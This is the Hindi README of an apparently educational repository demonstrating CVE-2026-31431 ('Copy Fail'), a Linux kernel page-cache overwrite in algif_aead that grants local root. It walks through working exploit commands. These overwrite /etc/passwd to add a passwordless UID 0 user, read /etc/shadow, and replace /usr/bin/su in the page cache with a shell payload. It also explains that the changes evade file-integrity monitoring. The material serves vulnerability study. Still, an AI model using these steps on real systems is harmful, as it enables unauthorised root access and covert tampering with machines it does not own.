
CVE-2026-31431 का एक डेमो और स्पष्टीकरण
CVE-2026-31431, Linux कर्नेल Copy Fail स्थानीय विशेषाधिकार वृद्धि भेद्यता का प्रदर्शन और स्पष्टीकरण। यह भेद्यता पढ़ने की अनुमति से खोली गई फ़ाइलों में पेज कैश में डेटा को अधिलेखित करने की अनुमति देती है।
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों के लिए है और नियंत्रित वातावरण में भेद्यता को दर्शाती है। शामिल फ़ाइलें इस प्रकार हैं:
├── exploit
│ ├── copy_fail.py # कस्टम एक्सप्लॉइट जो पढ़ने की अनुमति वाली किसी भी फ़ाइल को लक्षित कर सकता है
│ ├── original_payload.txt # मूल एक्सप्लॉइट में उपयोग किए गए पेलोड की एक प्रति
│ ├── copy_fail_original.py # मूल एक्सप्लॉइट जो /usr/bin/su को अधिलेखित करता है
│ └── copy_fail_readable.py # पेलोड के स्पष्टीकरण के साथ अधिक पठनीय प्रारूप में मूल एक्सप्लॉइट
├── README.md
└── Vagrantfile # Ubuntu 22.04 चलाने वाले Vagrant VM के लिए सेटअप
Copy Fail नामक यह भेद्यता, algif_aead में एक तर्क दोष के कारण 2017 से 2026 तक Linux कर्नेल में मौजूद है। इसे CVE-2026-31431 निर्दिष्ट किया गया है और CVSS स्कोर 7.8 है, जो उच्च गंभीरता रेटिंग की ओर ले जाता है। यह शोषण नियतात्मक है और पारंपरिक फ़ाइल अखंडता निगरानी उपकरणों को बायपास कर सकता है।
प्रूफ ऑफ कॉन्सेप्ट विभिन्न भाषाओं में प्रकाशित किए गए हैं, जिनमें C, Python और Go शामिल हैं, लेकिन इस प्रदर्शन के लिए Python का उपयोग किया जाता है और इसके लिए Python संस्करण 3.10 या उच्चतर की आवश्यकता है। इस शोषण के लिए एक अविशेषाधिकार प्राप्त उपयोगकर्ता के रूप में स्थानीय कोड निष्पादन की आवश्यकता होती है और इसका उपयोग स्थानीय विशेषाधिकार वृद्धि के लिए किया जा सकता है।
नीचे दिए गए अनुभाग हैं:
सुनिश्चित करें कि आपके पास Vagrant और QEMU इंस्टॉल हैं। फिर, इस रिपॉजिटरी को क्लोन करें और प्रोजेक्ट निर्देशिका पर जाएं।
vagrant up
vagrant ssh
VM के अंदर, हम अपनी क्षमताओं की सीमाओं का परीक्षण कर सकते हैं।
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # हमसे रूट पासवर्ड मांगा जाता है, जो हमारे पास नहीं है
stat /usr/bin/su # हमारे पास पढ़ने और निष्पादित करने की अनुमति है
stat /etc/passwd # हमारे पास पढ़ने की अनुमति है
stat /etc/shadow # हमारे पास कोई अनुमति नहीं है
हम स्पष्ट रूप से अपनी क्षमताओं में सीमित हैं, लेकिन हम विशेषाधिकार बढ़ाने के लिए भेद्यता का उपयोग कर सकते हैं।
भेद्यता को समझने के लिए, आइए एक डमी फ़ाइल को अधिलेखित करें और देखें कि क्या होता है।
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
हमारे पास तीन पंक्तियों वाली एक फ़ाइल है। पहली पंक्ति 6 बाइट्स (न्यूलाइन सहित) है, दूसरी पंक्ति 2 बाइट्स है, और तीसरी पंक्ति एक एकल बाइट है। यह महत्वपूर्ण है क्योंकि शोषण 4 बाइट्स के ब्लॉक में डेटा को अधिलेखित करता है, और हम पेलोड को भरने के लिए पैड करते हैं।
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
हम देख सकते हैं कि हमने फ़ाइल के पहले 8 बाइट्स को अपने पेलोड से बदल दिया है। दो ऐसे वर्ण हैं जो मौजूद हैं लेकिन मुद्रण योग्य नहीं हैं। जांचने के लिए फ़ाइल को nano में खोलें।
लेकिन यह बहुत रोमांचक नहीं है, तो चलिए उन फ़ाइलों में लिखने की ओर बढ़ते हैं जिनके लिए हमारे पास लिखने की अनुमति नहीं है।
हम रूट विशेषाधिकार वाले लेकिन बिना पासवर्ड वाले उपयोगकर्ता को जोड़ने के लिए /etc/passwd की सामग्री को अधिलेखित कर सकते हैं।
cat /etc/passwd
पहली पंक्ति में रूट उपयोगकर्ता है और इसमें 4 वर्णों के 8 समूह हैं (न्यूलाइन सहित)। इसे इस प्रकार स्वरूपित किया गया है root:x:0:0:root:/root:/bin/bash, और मान उपयोगकर्ता नाम, पासवर्ड, UID, GID, होम निर्देशिका, शेल को संदर्भित करते हैं।
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
हमने UID 0 और GID 0 के साथ एक नया उपयोगकर्ता hackd जोड़ा है, जिसका अर्थ है कि इसके पास रूट विशेषाधिकार हैं। पासवर्ड फ़ील्ड खाली है, इसलिए हम बिना पासवर्ड के लॉग इन कर सकते हैं।
su hackd
id
cat /etc/shadow
मूल शोषण में, बाइनरी /usr/bin/su को शेल निष्पादित करने के निर्देशों के साथ अधिलेखित किया जाता है, जिससे हमलावर को su निष्पादित करने पर रूट विशेषाधिकार प्राप्त करने की अनुमति मिलती है। हम एक फ़ाइल से मूल पेलोड के साथ /usr/bin/su को लक्षित करके इस शोषण को फिर से बना सकते हैं। ध्यान दें कि यह इस पेज कैश में su बाइनरी को नष्ट कर देता है।
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
पेलोड स्थापित होने के बाद, हम su निष्पादित कर सकते हैं और रूट विशेषाधिकार प्राप्त कर सकते हैं। यह उपयोगकर्ता आईडी 0 के साथ एक शेल खोलता है, जो आमतौर पर रूट उपयोगकर्ता होता है, लेकिन यदि उपरोक्त डेमो किया गया था, तो यह हमारे द्वारा बनाया गया hackd उपयोगकर्ता होगा। यह शोषण तब भी एक शेल खोलेगा जब root उपयोगकर्ता के पास पासवर्ड हो।
su
id
यह शोषण डिस्क पर फ़ाइल को संशोधित नहीं करता, बल्कि पेज-कैश स्थिति को संशोधित करता है। परिणामस्वरूप, पारंपरिक फ़ाइल अखंडता निगरानी उपकरण जो डिस्क पर फ़ाइलों में परिवर्तनों की जांच करते हैं, इस शोषण का पता नहीं लगाते।
इसे प्रदर्शित करने के लिए, उपरोक्त शोषण(शोषणों) को चलाएं और फिर VM के पुनरारंभ के बाद, लक्ष्य फ़ाइल की सामग्री की जांच करें।
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # फ़ाइल डिस्क पर अपरिवर्तित है
शोषण में निम्नलिखित घटकों का उपयोग किया जाता है:
AD||CT||TAGTAG के बाद कॉपी करके उनके क्रम को इन-प्लेस स्विच करता हैseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loवह कमिट जिसने इन-प्लेस ऑप्टिमाइज़ेशन को सक्षम किया जिसने यह भेद्यता पैदा की:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
पैच बिना किसी सार्वजनिक घोषणा के बनाया गया था और algif_aead में इन-प्लेस ऑपरेशन की कार्यक्षमता को हटा देता है:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
और पढ़ें:
Python कार्यान्वयन
C कार्यान्वयन
Go कार्यान्वयन